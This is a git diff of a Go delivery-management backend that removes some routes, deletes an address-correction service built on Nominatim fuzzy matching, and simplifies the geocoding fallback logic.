@@ -328,10 +313,9 @@ func SetupRoutes(router *gin.Engine, database *db.Database, geoService *services
|
|||||||
cabineGroupV1.PUT("/items/:item_id/status", handlers.UpdateItemStatus)
|
cabineGroupV1.PUT("/items/:item_id/status", handlers.UpdateItemStatus)
|
||||||
cabineGroupV1.GET("/commands/:id/deliveryman/location", handlers.GetDeliverymanLocationForCommand)
|
cabineGroupV1.GET("/commands/:id/deliveryman/location", handlers.GetDeliverymanLocationForCommand)
|
||||||
cabineGroupV1.GET("/all/deliveryman", handlers.GetAllDeliveryMen)
|
cabineGroupV1.GET("/all/deliveryman", handlers.GetAllDeliveryMen)
|
||||||
cabineGroupV1.GET("/delivery-persons/:username", handlers.GetDeliveryPersonDetails)
|
|
||||||
cabineGroupV1.GET("/all/clients", handlers.GetAllClients)
|
|
||||||
cabineGroupV1.DELETE("/commands/:id", handlers.DeleteCommandByCabine)
|
cabineGroupV1.DELETE("/commands/:id", handlers.DeleteCommandByCabine)
|
||||||
cabineGroupV1.POST("/commands/:id/propose-address", handlers.ProposeAddressChange)
|
cabineGroupV1.POST("/commands/:id/propose-address", handlers.ProposeAddressChange)
|
||||||
|
// ⭐ NOUVEAU - ANNULATION PAR CABINE
|
||||||
cabineGroupV1.GET("/commands/cancelled", handlers.GetAllCancelledOrders)
|
cabineGroupV1.GET("/commands/cancelled", handlers.GetAllCancelledOrders)
|
||||||
cabineGroupV1.GET("/client/:username/penalties", handlers.GetClientPenaltiesAdmin) // Voir pénalités client
|
cabineGroupV1.GET("/client/:username/penalties", handlers.GetClientPenaltiesAdmin) // Voir pénalités client
|
||||||
cabineGroupV1.POST("/client/:username/penalties/reset", handlers.ResetClientPenaltiesAdmin) // Reset pénalités
|
cabineGroupV1.POST("/client/:username/penalties/reset", handlers.ResetClientPenaltiesAdmin) // Reset pénalités
|
||||||
@@ -359,8 +343,8 @@ func SetupRoutes(router *gin.Engine, database *db.Database, geoService *services
|
|||||||
livreurGroupV1.GET("/deliveries", handlers.GetMyDeliveries) // ✅ Données filtrées
|
livreurGroupV1.GET("/deliveries", handlers.GetMyDeliveries) // ✅ Données filtrées
|
||||||
livreurGroupV1.GET("/deliveries/:id", handlers.GetDeliveryDetails) // ✅ Détail filtré
|
livreurGroupV1.GET("/deliveries/:id", handlers.GetDeliveryDetails) // ✅ Détail filtré
|
||||||
livreurGroupV1.POST("/deliveries/:id/start", handlers.StartDelivery)
|
livreurGroupV1.POST("/deliveries/:id/start", handlers.StartDelivery)
|
||||||
livreurGroupV1.PUT("/deliveries/:id/status", handlers.UpdateDeliveryStatus) // ✅ Avec GPS
|
livreurGroupV1.PUT("/deliveries/:id/status", handlers.UpdateDeliveryStatus) // ✅ Avec GPS
|
||||||
livreurGroupV1.POST("/deliveries/:id/issue", handlers.ReportDeliveryIssue) // Motif non-livraison
|
livreurGroupV1.POST("/deliveries/:id/issue", handlers.ReportDeliveryIssue) // Motif non-livraison
|
||||||
livreurGroupV1.GET("/deliveries/:id/nav-link", handlers.GetLivreurNavLink) // Lien Waze App
|
livreurGroupV1.GET("/deliveries/:id/nav-link", handlers.GetLivreurNavLink) // Lien Waze App
|
||||||
|
|
||||||
// ============================================
|
// ============================================
|
||||||
@@ -379,7 +363,6 @@ func SetupRoutes(router *gin.Engine, database *db.Database, geoService *services
|
|||||||
// QUEUE PERSONNELLE
|
// QUEUE PERSONNELLE
|
||||||
// ============================================
|
// ============================================
|
||||||
livreurGroupV1.GET("/queue", handlers.GetMyQueue)
|
livreurGroupV1.GET("/queue", handlers.GetMyQueue)
|
||||||
livreurGroupV1.GET("/stats", handlers.GetMyDeliveryStats)
|
|
||||||
|
|
||||||
// ============================================
|
// ============================================
|
||||||
// ALERTES POLICE
|
// ALERTES POLICE
|
||||||
|
|||||||
@@ -1,536 +0,0 @@
|
|||||||
package services
|
|
||||||
|
|
||||||
import (
|
|
||||||
"encoding/json"
|
|
||||||
"fmt"
|
|
||||||
"io"
|
|
||||||
"math"
|
|
||||||
"net/http"
|
|
||||||
"net/url"
|
|
||||||
"strings"
|
|
||||||
"time"
|
|
||||||
"unicode"
|
|
||||||
|
|
||||||
"golang.org/x/text/runes"
|
|
||||||
"golang.org/x/text/transform"
|
|
||||||
"golang.org/x/text/unicode/norm"
|
|
||||||
)
|
|
||||||
|
|
||||||
// ============================================
|
|
||||||
// TYPES
|
|
||||||
// ============================================
|
|
||||||
|
|
||||||
// AddressSuggestion représente une suggestion de correction
|
|
||||||
type AddressSuggestion struct {
|
|
||||||
OriginalAddress string `json:"original_address"`
|
|
||||||
CorrectedAddress string `json:"corrected_address"`
|
|
||||||
Coordinates Coordinates `json:"coordinates"`
|
|
||||||
Confidence float64 `json:"confidence"` // 0.0 à 1.0
|
|
||||||
CorrectionApplied bool `json:"correction_applied"` // true si une correction a été faite
|
|
||||||
Source string `json:"source"` // "exact", "fuzzy", "structured"
|
|
||||||
}
|
|
||||||
|
|
||||||
// NominatimSuggestion représente une réponse de l'API Nominatim
|
|
||||||
type NominatimSuggestion struct {
|
|
||||||
Latitude float64 `json:"lat,string"`
|
|
||||||
Longitude float64 `json:"lon,string"`
|
|
||||||
DisplayName string `json:"display_name"`
|
|
||||||
Importance float64 `json:"importance"`
|
|
||||||
Type string `json:"type"`
|
|
||||||
Class string `json:"class"`
|
|
||||||
Address struct {
|
|
||||||
HouseNumber string `json:"house_number"`
|
|
||||||
Road string `json:"road"`
|
|
||||||
City string `json:"city"`
|
|
||||||
Town string `json:"town"`
|
|
||||||
Village string `json:"village"`
|
|
||||||
Postcode string `json:"postcode"`
|
|
||||||
Country string `json:"country"`
|
|
||||||
CountryCode string `json:"country_code"`
|
|
||||||
} `json:"address"`
|
|
||||||
}
|
|
||||||
|
|
||||||
// AddressCorrectionService gère la correction des adresses
|
|
||||||
type AddressCorrectionService struct {
|
|
||||||
httpClient *http.Client
|
|
||||||
geoService *GeoService
|
|
||||||
}
|
|
||||||
|
|
||||||
// NewAddressCorrectionService crée une instance du service de correction
|
|
||||||
func NewAddressCorrectionService(geoService *GeoService) *AddressCorrectionService {
|
|
||||||
return &AddressCorrectionService{
|
|
||||||
httpClient: &http.Client{Timeout: 10 * time.Second},
|
|
||||||
geoService: geoService,
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// ============================================
|
|
||||||
// POINT D'ENTRÉE PRINCIPAL
|
|
||||||
// ============================================
|
|
||||||
|
|
||||||
// ResolveAddress tente de géocoder une adresse avec correction automatique.
|
|
||||||
// Retourne toujours une suggestion, même approximative.
|
|
||||||
// Ordre de résolution :
|
|
||||||
// 1. Géocodage exact → succès immédiat
|
|
||||||
// 2. Nominatim fuzzy search (addressdetails + limit=5)
|
|
||||||
// 3. Décomposition structurée de l'adresse
|
|
||||||
// 4. Erreur explicite avec suggestions si dispo
|
|
||||||
func (acs *AddressCorrectionService) ResolveAddress(rawAddress string) (*AddressSuggestion, error) {
|
|
||||||
rawAddress = strings.TrimSpace(rawAddress)
|
|
||||||
if rawAddress == "" {
|
|
||||||
return nil, fmt.Errorf("adresse vide")
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── Étape 1 : essai exact via GeoService (utilise le cache Redis) ──
|
|
||||||
if loc, err := acs.geoService.GeocodeAddress(rawAddress); err == nil {
|
|
||||||
return &AddressSuggestion{
|
|
||||||
OriginalAddress: rawAddress,
|
|
||||||
CorrectedAddress: rawAddress,
|
|
||||||
Coordinates: Coordinates{Latitude: loc.Latitude, Longitude: loc.Longitude},
|
|
||||||
Confidence: 1.0,
|
|
||||||
CorrectionApplied: false,
|
|
||||||
Source: "exact",
|
|
||||||
}, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── Étape 2 : fuzzy search Nominatim ──
|
|
||||||
if suggestion, err := acs.nominatimFuzzySearch(rawAddress); err == nil {
|
|
||||||
return suggestion, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── Étape 3 : décomposition structurée ──
|
|
||||||
if suggestion, err := acs.structuredSearch(rawAddress); err == nil {
|
|
||||||
return suggestion, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
return nil, fmt.Errorf("adresse introuvable : '%s' — vérifiez l'orthographe ou le code postal", rawAddress)
|
|
||||||
}
|
|
||||||
|
|
||||||
// ============================================
|
|
||||||
// ÉTAPE 2 : FUZZY SEARCH NOMINATIM
|
|
||||||
// ============================================
|
|
||||||
|
|
||||||
// nominatimFuzzySearch interroge Nominatim avec plusieurs variantes de l'adresse
|
|
||||||
func (acs *AddressCorrectionService) nominatimFuzzySearch(address string) (*AddressSuggestion, error) {
|
|
||||||
variants := buildAddressVariants(address)
|
|
||||||
|
|
||||||
for _, variant := range variants {
|
|
||||||
suggestions, err := acs.queryNominatim(variant, 5)
|
|
||||||
if err != nil || len(suggestions) == 0 {
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
|
|
||||||
best := suggestions[0]
|
|
||||||
confidence := computeConfidence(address, best.DisplayName, best.Importance)
|
|
||||||
|
|
||||||
// On accepte si la confiance est suffisante
|
|
||||||
if confidence >= 0.40 {
|
|
||||||
corrected := formatNominatimAddress(best)
|
|
||||||
return &AddressSuggestion{
|
|
||||||
OriginalAddress: address,
|
|
||||||
CorrectedAddress: corrected,
|
|
||||||
Coordinates: Coordinates{Latitude: best.Latitude, Longitude: best.Longitude},
|
|
||||||
Confidence: confidence,
|
|
||||||
CorrectionApplied: !strings.EqualFold(normalize(address), normalize(corrected)),
|
|
||||||
Source: "fuzzy",
|
|
||||||
}, nil
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return nil, fmt.Errorf("aucune correspondance fuzzy trouvée")
|
|
||||||
}
|
|
||||||
|
|
||||||
// queryNominatim exécute une requête vers l'API Nominatim
|
|
||||||
func (acs *AddressCorrectionService) queryNominatim(query string, limit int) ([]NominatimSuggestion, error) {
|
|
||||||
query = strings.TrimSpace(query)
|
|
||||||
if query == "" {
|
|
||||||
return nil, fmt.Errorf("requête vide")
|
|
||||||
}
|
|
||||||
|
|
||||||
params := url.Values{}
|
|
||||||
params.Set("q", query)
|
|
||||||
params.Set("format", "json")
|
|
||||||
params.Set("addressdetails", "1")
|
|
||||||
params.Set("limit", fmt.Sprintf("%d", limit))
|
|
||||||
params.Set("accept-language", "fr")
|
|
||||||
|
|
||||||
fullURL := fmt.Sprintf("%s?%s", NominatimBaseURL, params.Encode())
|
|
||||||
|
|
||||||
req, err := http.NewRequest("GET", fullURL, nil)
|
|
||||||
if err != nil {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
req.Header.Set("User-Agent", "DeliveryApp/1.0 (address-correction)")
|
|
||||||
|
|
||||||
// Respect du rate-limit Nominatim : 1 req/s
|
|
||||||
time.Sleep(1100 * time.Millisecond)
|
|
||||||
|
|
||||||
resp, err := acs.httpClient.Do(req)
|
|
||||||
if err != nil {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
defer resp.Body.Close()
|
|
||||||
|
|
||||||
if resp.StatusCode != http.StatusOK {
|
|
||||||
return nil, fmt.Errorf("Nominatim status %d", resp.StatusCode)
|
|
||||||
}
|
|
||||||
|
|
||||||
body, err := io.ReadAll(resp.Body)
|
|
||||||
if err != nil {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
|
|
||||||
var results []NominatimSuggestion
|
|
||||||
if err := json.Unmarshal(body, &results); err != nil {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
|
|
||||||
return results, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// ============================================
|
|
||||||
// ÉTAPE 3 : RECHERCHE STRUCTURÉE
|
|
||||||
// ============================================
|
|
||||||
|
|
||||||
// structuredSearch décompose l'adresse et cherche les parties clés
|
|
||||||
func (acs *AddressCorrectionService) structuredSearch(address string) (*AddressSuggestion, error) {
|
|
||||||
parts := parseAddressParts(address)
|
|
||||||
|
|
||||||
// Essai 1 : numéro + rue + ville (sans code postal)
|
|
||||||
if parts.streetNumber != "" && parts.streetName != "" && parts.city != "" {
|
|
||||||
q := fmt.Sprintf("%s %s, %s", parts.streetNumber, parts.streetName, parts.city)
|
|
||||||
if s, err := acs.nominatimFuzzySearch(q); err == nil {
|
|
||||||
s.OriginalAddress = address
|
|
||||||
s.Source = "structured"
|
|
||||||
return s, nil
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Essai 2 : rue + code postal uniquement
|
|
||||||
if parts.streetName != "" && parts.postcode != "" {
|
|
||||||
q := fmt.Sprintf("%s, %s", parts.streetName, parts.postcode)
|
|
||||||
if s, err := acs.nominatimFuzzySearch(q); err == nil {
|
|
||||||
s.OriginalAddress = address
|
|
||||||
s.Source = "structured"
|
|
||||||
return s, nil
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Essai 3 : ville + code postal comme zone de repli
|
|
||||||
if parts.city != "" && parts.postcode != "" {
|
|
||||||
q := fmt.Sprintf("%s %s, France", parts.city, parts.postcode)
|
|
||||||
suggestions, err := acs.queryNominatim(q, 3)
|
|
||||||
if err == nil && len(suggestions) > 0 {
|
|
||||||
best := suggestions[0]
|
|
||||||
return &AddressSuggestion{
|
|
||||||
OriginalAddress: address,
|
|
||||||
CorrectedAddress: best.DisplayName,
|
|
||||||
Coordinates: Coordinates{Latitude: best.Latitude, Longitude: best.Longitude},
|
|
||||||
Confidence: 0.30, // faible : seulement ville/CP trouvés
|
|
||||||
CorrectionApplied: true,
|
|
||||||
Source: "structured_partial",
|
|
||||||
}, nil
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return nil, fmt.Errorf("recherche structurée échouée")
|
|
||||||
}
|
|
||||||
|
|
||||||
// ============================================
|
|
||||||
// VARIANTES D'ADRESSE
|
|
||||||
// ============================================
|
|
||||||
|
|
||||||
// buildAddressVariants génère plusieurs variantes d'une adresse pour maximiser les chances
|
|
||||||
func buildAddressVariants(address string) []string {
|
|
||||||
variants := []string{address}
|
|
||||||
normalized := normalize(address)
|
|
||||||
|
|
||||||
// Variante sans accents
|
|
||||||
if normalized != address {
|
|
||||||
variants = append(variants, normalized)
|
|
||||||
}
|
|
||||||
|
|
||||||
// Variante avec "France" si absent
|
|
||||||
if !strings.Contains(strings.ToLower(address), "france") {
|
|
||||||
variants = append(variants, address+", France")
|
|
||||||
}
|
|
||||||
|
|
||||||
// Variante en corrigeant les abréviations courantes françaises
|
|
||||||
expanded := expandFrenchAbbreviations(address)
|
|
||||||
if expanded != address {
|
|
||||||
variants = append(variants, expanded)
|
|
||||||
variants = append(variants, expanded+", France")
|
|
||||||
}
|
|
||||||
|
|
||||||
// Variante en supprimant les mots de liaison potentiellement mal orthographiés
|
|
||||||
simplified := simplifyStreetName(address)
|
|
||||||
if simplified != address {
|
|
||||||
variants = append(variants, simplified)
|
|
||||||
}
|
|
||||||
|
|
||||||
// Dédoublonnage tout en conservant l'ordre
|
|
||||||
seen := map[string]bool{}
|
|
||||||
unique := make([]string, 0, len(variants))
|
|
||||||
for _, v := range variants {
|
|
||||||
if !seen[v] {
|
|
||||||
seen[v] = true
|
|
||||||
unique = append(unique, v)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return unique
|
|
||||||
}
|
|
||||||
|
|
||||||
// expandFrenchAbbreviations remplace les abréviations courantes
|
|
||||||
func expandFrenchAbbreviations(address string) string {
|
|
||||||
replacements := []struct{ from, to string }{
|
|
||||||
{"Av.", "Avenue"},
|
|
||||||
{"Ave.", "Avenue"},
|
|
||||||
{"Bd.", "Boulevard"},
|
|
||||||
{"Bld.", "Boulevard"},
|
|
||||||
{"Blvd.", "Boulevard"},
|
|
||||||
{"Rte.", "Route"},
|
|
||||||
{"Rte ", "Route "},
|
|
||||||
{"Imp.", "Impasse"},
|
|
||||||
{"Cité", "Cité"},
|
|
||||||
{"Sq.", "Square"},
|
|
||||||
{"Pl.", "Place"},
|
|
||||||
{"Rés.", "Résidence"},
|
|
||||||
}
|
|
||||||
|
|
||||||
result := address
|
|
||||||
for _, r := range replacements {
|
|
||||||
result = strings.ReplaceAll(result, r.from, r.to)
|
|
||||||
}
|
|
||||||
return result
|
|
||||||
}
|
|
||||||
|
|
||||||
// simplifyStreetName essaie de nettoyer la rue (retire les particules ambiguës)
|
|
||||||
func simplifyStreetName(address string) string {
|
|
||||||
// Ex: "20 Rue Gabriel le Pan de Ligny" → essai sans "le" → "20 Rue Gabriel Pan de Ligny"
|
|
||||||
// Heuristique légère : on ne modifie que si la chaîne est suffisamment longue
|
|
||||||
words := strings.Fields(address)
|
|
||||||
if len(words) < 5 {
|
|
||||||
return address
|
|
||||||
}
|
|
||||||
|
|
||||||
// Retire les articles intégrés dans le nom de rue (heuristique)
|
|
||||||
articles := map[string]bool{"le": true, "la": true, "les": true, "de": true, "du": true, "des": true, "d": true}
|
|
||||||
filtered := make([]string, 0, len(words))
|
|
||||||
for i, w := range words {
|
|
||||||
lower := strings.ToLower(w)
|
|
||||||
// Garder le premier mot (numéro) et les mots non-articles, ou les articles en début de nom de rue
|
|
||||||
if i < 2 || !articles[lower] {
|
|
||||||
filtered = append(filtered, w)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
result := strings.Join(filtered, " ")
|
|
||||||
if result == address {
|
|
||||||
return address
|
|
||||||
}
|
|
||||||
return result
|
|
||||||
}
|
|
||||||
|
|
||||||
// ============================================
|
|
||||||
// UTILITAIRES
|
|
||||||
// ============================================
|
|
||||||
|
|
||||||
// addressParts regroupe les composants décomposés d'une adresse
|
|
||||||
type addressParts struct {
|
|
||||||
streetNumber string
|
|
||||||
streetName string
|
|
||||||
postcode string
|
|
||||||
city string
|
|
||||||
}
|
|
||||||
|
|
||||||
// parseAddressParts analyse une adresse libre pour en extraire les composants
|
|
||||||
func parseAddressParts(address string) addressParts {
|
|
||||||
var parts addressParts
|
|
||||||
|
|
||||||
// Extraction du code postal (5 chiffres consécutifs)
|
|
||||||
words := strings.Fields(address)
|
|
||||||
remaining := make([]string, 0, len(words))
|
|
||||||
|
|
||||||
for _, w := range words {
|
|
||||||
if isPostcode(w) {
|
|
||||||
parts.postcode = w
|
|
||||||
} else {
|
|
||||||
remaining = append(remaining, w)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if len(remaining) == 0 {
|
|
||||||
return parts
|
|
||||||
}
|
|
||||||
|
|
||||||
// Premier mot numérique → numéro de rue
|
|
||||||
if isNumeric(remaining[0]) {
|
|
||||||
parts.streetNumber = remaining[0]
|
|
||||||
remaining = remaining[1:]
|
|
||||||
}
|
|
||||||
|
|
||||||
// Détection de la ville : dernier groupe après le code postal
|
|
||||||
// Heuristique : si le dernier mot est une ville connue ou commence par une maj
|
|
||||||
if len(remaining) > 0 {
|
|
||||||
last := remaining[len(remaining)-1]
|
|
||||||
if len(last) > 2 && last[0] >= 'A' && last[0] <= 'Z' {
|
|
||||||
parts.city = last
|
|
||||||
remaining = remaining[:len(remaining)-1]
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
parts.streetName = strings.Join(remaining, " ")
|
|
||||||
|
|
||||||
return parts
|
|
||||||
}
|
|
||||||
|
|
||||||
// computeConfidence calcule un score de similarité entre l'adresse originale et la suggestion
|
|
||||||
func computeConfidence(original, suggested string, nominatimImportance float64) float64 {
|
|
||||||
origNorm := normalize(strings.ToLower(original))
|
|
||||||
suggNorm := normalize(strings.ToLower(suggested))
|
|
||||||
|
|
||||||
// Score de similarité sur les mots communs
|
|
||||||
origWords := strings.Fields(origNorm)
|
|
||||||
suggWords := strings.Fields(suggNorm)
|
|
||||||
|
|
||||||
commonCount := 0
|
|
||||||
for _, ow := range origWords {
|
|
||||||
if len(ow) < 3 {
|
|
||||||
continue // ignorer les petits mots
|
|
||||||
}
|
|
||||||
for _, sw := range suggWords {
|
|
||||||
if strings.Contains(sw, ow) || strings.Contains(ow, sw) || levenshteinRatio(ow, sw) > 0.75 {
|
|
||||||
commonCount++
|
|
||||||
break
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
var wordScore float64
|
|
||||||
if len(origWords) > 0 {
|
|
||||||
wordScore = float64(commonCount) / float64(len(origWords))
|
|
||||||
}
|
|
||||||
|
|
||||||
// Combinaison : 70% similarité textuelle + 30% importance Nominatim
|
|
||||||
importance := math.Min(nominatimImportance, 1.0)
|
|
||||||
return wordScore*0.70 + importance*0.30
|
|
||||||
}
|
|
||||||
|
|
||||||
// formatNominatimAddress formate l'adresse complète depuis une suggestion Nominatim
|
|
||||||
func formatNominatimAddress(s NominatimSuggestion) string {
|
|
||||||
addr := s.Address
|
|
||||||
var parts []string
|
|
||||||
|
|
||||||
if addr.HouseNumber != "" && addr.Road != "" {
|
|
||||||
parts = append(parts, addr.HouseNumber+" "+addr.Road)
|
|
||||||
} else if addr.Road != "" {
|
|
||||||
parts = append(parts, addr.Road)
|
|
||||||
}
|
|
||||||
|
|
||||||
city := addr.City
|
|
||||||
if city == "" {
|
|
||||||
city = addr.Town
|
|
||||||
}
|
|
||||||
if city == "" {
|
|
||||||
city = addr.Village
|
|
||||||
}
|
|
||||||
|
|
||||||
if addr.Postcode != "" {
|
|
||||||
parts = append(parts, addr.Postcode)
|
|
||||||
}
|
|
||||||
if city != "" {
|
|
||||||
parts = append(parts, city)
|
|
||||||
}
|
|
||||||
|
|
||||||
if len(parts) == 0 {
|
|
||||||
return s.DisplayName
|
|
||||||
}
|
|
||||||
return strings.Join(parts, ", ")
|
|
||||||
}
|
|
||||||
|
|
||||||
// normalize supprime les accents et normalise les espaces
|
|
||||||
func normalize(s string) string {
|
|
||||||
t := transform.Chain(norm.NFD, runes.Remove(runes.In(unicode.Mn)), norm.NFC)
|
|
||||||
result, _, _ := transform.String(t, s)
|
|
||||||
return strings.Join(strings.Fields(result), " ")
|
|
||||||
}
|
|
||||||
|
|
||||||
// isPostcode retourne true si le mot ressemble à un code postal français
|
|
||||||
func isPostcode(s string) bool {
|
|
||||||
if len(s) != 5 {
|
|
||||||
return false
|
|
||||||
}
|
|
||||||
for _, c := range s {
|
|
||||||
if c < '0' || c > '9' {
|
|
||||||
return false
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
|
|
||||||
// isNumeric retourne true si la chaîne est entièrement numérique
|
|
||||||
func isNumeric(s string) bool {
|
|
||||||
for _, c := range s {
|
|
||||||
if c < '0' || c > '9' {
|
|
||||||
return false
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return len(s) > 0
|
|
||||||
}
|
|
||||||
|
|
||||||
// levenshteinRatio retourne un ratio de similarité entre 0 et 1
|
|
||||||
func levenshteinRatio(a, b string) float64 {
|
|
||||||
d := levenshtein(a, b)
|
|
||||||
maxLen := math.Max(float64(len(a)), float64(len(b)))
|
|
||||||
if maxLen == 0 {
|
|
||||||
return 1.0
|
|
||||||
}
|
|
||||||
return 1.0 - float64(d)/maxLen
|
|
||||||
}
|
|
||||||
|
|
||||||
// levenshtein calcule la distance de Levenshtein entre deux chaînes
|
|
||||||
func levenshtein(a, b string) int {
|
|
||||||
ra, rb := []rune(a), []rune(b)
|
|
||||||
la, lb := len(ra), len(rb)
|
|
||||||
|
|
||||||
if la == 0 {
|
|
||||||
return lb
|
|
||||||
}
|
|
||||||
if lb == 0 {
|
|
||||||
return la
|
|
||||||
}
|
|
||||||
|
|
||||||
dp := make([][]int, la+1)
|
|
||||||
for i := range dp {
|
|
||||||
dp[i] = make([]int, lb+1)
|
|
||||||
dp[i][0] = i
|
|
||||||
}
|
|
||||||
for j := 0; j <= lb; j++ {
|
|
||||||
dp[0][j] = j
|
|
||||||
}
|
|
||||||
|
|
||||||
for i := 1; i <= la; i++ {
|
|
||||||
for j := 1; j <= lb; j++ {
|
|
||||||
cost := 1
|
|
||||||
if ra[i-1] == rb[j-1] {
|
|
||||||
cost = 0
|
|
||||||
}
|
|
||||||
dp[i][j] = min3(dp[i-1][j]+1, dp[i][j-1]+1, dp[i-1][j-1]+cost)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return dp[la][lb]
|
|
||||||
}
|
|
||||||
|
|
||||||
func min3(a, b, c int) int {
|
|
||||||
if a < b {
|
|
||||||
if a < c {
|
|
||||||
return a
|
|
||||||
}
|
|
||||||
return c
|
|
||||||
}
|
|
||||||
if b < c {
|
|
||||||
return b
|
|
||||||
}
|
|
||||||
return c
|
|
||||||
}
|
|
||||||
@@ -6,10 +6,10 @@ import (
|
|||||||
"fmt"
|
"fmt"
|
||||||
"gestion/models"
|
"gestion/models"
|
||||||
"io"
|
"io"
|
||||||
"log"
|
|
||||||
"math"
|
"math"
|
||||||
"net/http"
|
"net/http"
|
||||||
"net/url"
|
"net/url"
|
||||||
|
"os"
|
||||||
"strings"
|
"strings"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
@@ -28,6 +28,10 @@ const (
|
|||||||
LocationTTL = 1 * time.Hour
|
LocationTTL = 1 * time.Hour
|
||||||
)
|
)
|
||||||
|
|
||||||
|
// ============================================
|
||||||
|
// STRUCTURES
|
||||||
|
// ============================================
|
||||||
|
|
||||||
type GeoLocation struct {
|
type GeoLocation struct {
|
||||||
Latitude float64 `json:"lat,string"`
|
Latitude float64 `json:"lat,string"`
|
||||||
Longitude float64 `json:"lon,string"`
|
Longitude float64 `json:"lon,string"`
|
||||||
@@ -47,73 +51,43 @@ type DeliveryDistance struct {
|
|||||||
}
|
}
|
||||||
|
|
||||||
type GeoService struct {
|
type GeoService struct {
|
||||||
redis *redis.Client
|
redis *redis.Client
|
||||||
ctx context.Context
|
ctx context.Context
|
||||||
httpClient *http.Client
|
httpClient *http.Client
|
||||||
correctionService *AddressCorrectionService
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ============================================
|
||||||
|
// CONSTRUCTEUR
|
||||||
|
// ============================================
|
||||||
|
|
||||||
func NewGeoService(redisClient *redis.Client, ctx context.Context) *GeoService {
|
func NewGeoService(redisClient *redis.Client, ctx context.Context) *GeoService {
|
||||||
gs := &GeoService{
|
return &GeoService{
|
||||||
redis: redisClient,
|
redis: redisClient,
|
||||||
ctx: ctx,
|
ctx: ctx,
|
||||||
httpClient: &http.Client{
|
httpClient: &http.Client{
|
||||||
Timeout: 10 * time.Second,
|
Timeout: 10 * time.Second,
|
||||||
},
|
},
|
||||||
}
|
}
|
||||||
// Le correctionService est initialisé après, car il a besoin de gs lui-même
|
|
||||||
gs.correctionService = NewAddressCorrectionService(gs)
|
|
||||||
return gs
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ============================================
|
||||||
|
// GÉOCODAGE - API NOMINATIM
|
||||||
|
// ============================================
|
||||||
|
|
||||||
func (gs *GeoService) GeocodeAddress(address string) (*GeoLocation, error) {
|
func (gs *GeoService) GeocodeAddress(address string) (*GeoLocation, error) {
|
||||||
// 1. Cache Redis (adresse originale)
|
// 1. Vérifier le cache Redis
|
||||||
if location, err := gs.getFromCache(address); err == nil {
|
location, err := gs.getFromCache(address)
|
||||||
|
if err == nil {
|
||||||
return location, nil
|
return location, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// 2. TomTom (primaire — plus fiable que Nominatim pour les adresses FR)
|
location, err = gs.fetchFromNominatim(address)
|
||||||
if location, err := GeocodeWithTomTom(address); err == nil {
|
|
||||||
gs.saveToCache(address, location)
|
|
||||||
return location, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// 3. Fallback Nominatim
|
|
||||||
if location, err := gs.fetchFromNominatim(address); err == nil {
|
|
||||||
gs.saveToCache(address, location)
|
|
||||||
return location, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// 4. ── Correction automatique de l'adresse ────────────────────────────
|
|
||||||
log.Printf("🔍 [GEO] Géocodage direct échoué pour '%s', tentative de correction...", address)
|
|
||||||
|
|
||||||
suggestion, err := gs.correctionService.ResolveAddress(address)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
log.Printf("❌ [GEO] Correction impossible pour '%s': %v", address, err)
|
return nil, err
|
||||||
return nil, fmt.Errorf("adresse introuvable : '%s'", address)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if suggestion.CorrectionApplied {
|
// 3. Sauvegarder en cache
|
||||||
log.Printf(
|
|
||||||
"✅ [GEO] Correction appliquée (confiance %.0f%%) : '%s' → '%s'",
|
|
||||||
suggestion.Confidence*100,
|
|
||||||
address,
|
|
||||||
suggestion.CorrectedAddress,
|
|
||||||
)
|
|
||||||
}
|
|
||||||
|
|
||||||
location := &GeoLocation{
|
|
||||||
Latitude: suggestion.Coordinates.Latitude,
|
|
||||||
Longitude: suggestion.Coordinates.Longitude,
|
|
||||||
DisplayName: suggestion.CorrectedAddress,
|
|
||||||
}
|
|
||||||
|
|
||||||
// Mettre en cache avec l'adresse originale pour les prochains appels
|
|
||||||
gs.saveToCache(address, location)
|
gs.saveToCache(address, location)
|
||||||
// Mettre en cache aussi avec l'adresse corrigée
|
|
||||||
if suggestion.CorrectionApplied {
|
|
||||||
gs.saveToCache(suggestion.CorrectedAddress, location)
|
|
||||||
}
|
|
||||||
|
|
||||||
return location, nil
|
return location, nil
|
||||||
}
|
}
|
||||||
@@ -270,37 +244,32 @@ func CalculateETA(distanceKm float64) int {
|
|||||||
// CalculateETAWithTomTom calcule l'ETA via TomTom API (précis avec trafic réel)
|
// CalculateETAWithTomTom calcule l'ETA via TomTom API (précis avec trafic réel)
|
||||||
// Retourne (etaMinutes, distanceKm, error)
|
// Retourne (etaMinutes, distanceKm, error)
|
||||||
func CalculateETAWithTomTom(from, to Coordinates) (int, float64, error) {
|
func CalculateETAWithTomTom(from, to Coordinates) (int, float64, error) {
|
||||||
if len(tomTomKeys.keys) == 0 {
|
